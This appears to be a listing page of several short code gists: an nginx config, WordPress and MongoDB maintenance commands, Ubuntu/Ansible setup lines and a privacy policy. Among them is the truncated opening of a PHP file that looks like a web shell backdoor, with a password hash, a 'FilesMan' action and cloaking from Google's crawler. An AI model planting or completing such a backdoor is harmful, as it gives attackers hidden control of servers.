This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Privacy Policy | |
**Effective Date:** July 13, 2025 | |
This application uses Google OAuth to authenticate users and access limited profile information, such as your name, email address, and profile picture. This data is used solely to provide you access to the app's features and personalize your experience. | |
## Information We Collect | |
When you log in with Google, we may collect the following information: | |
- Your full name |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Configuration for n8n | |
# Make sure to adjust: server_name, SSL certificate paths, and proxy_pass settings | |
############################################################################## | |
# HTTP Server Block - Redirects all HTTP traffic to HTTPS | |
############################################################################## | |
server { | |
# Listen directives | |
listen 80; # IPv4 | |
listen [::]:80; # IPv6 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
wp search-replace '^([^@]*)@(.*)$' '\1@localhost' wp_users --include-columns=user_email --regex --regex-flags='i' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
apt-get -y update && apt-get -y upgrade | |
locale-gen UTF-8 | |
# vim /etc/default/locale, add LC_ALL="en_US.UTF-8" | |
apt-add-repository ppa:ansible/ansible | |
apt-get update | |
# General packages | |
apt-get install -y git zip software-properties-common ansible | |
############## |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ansible masked-servers -m ini_file -a "dest=/etc/php5/fpm/php.ini section=PHP option=max_input_vars value=2000" -b -u ubuntu | |
ansible masked-servers -m service -a "name=nginx state=reloaded" -b -u ubuntu |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$auth_pass = "a87154cadb595987488efc87a398ecf1"; | |
$color = "#00ff00"; | |
$default_action = 'FilesMan'; | |
@define('SELF_PATH', __FILE__); | |
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) { | |
header('HTTP/1.0 404 Not Found'); | |
exit; | |
} | |
@session_start(); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// after.2.value - becaus ewe know exactly what to look for | |
db.test.update({after:{$elemMatch:{"type":"password"}}},{$set:{"after.2.value":'xxxxx'}},{multi:true, upsert:false}); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
MongoDB: Find by regular expression and run regex replace on results | |
*/ | |
db.test.find({"url": { $regex: 'http:\/\/' }}).forEach(function(doc) { | |
doc.url = doc.url.replace(/http:\/\/www\.url\.com/g, 'http://another.url.com'); | |
db.test.save(doc); | |
}); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
use regex to update multiple lines in mongo | |
*/ | |
db.users.update({"email":{$regex:'.*@example.com$'}},{ $set: {"roles" : [ "authenticated", "admin" ] }}, {multi: true, upsert:false}) |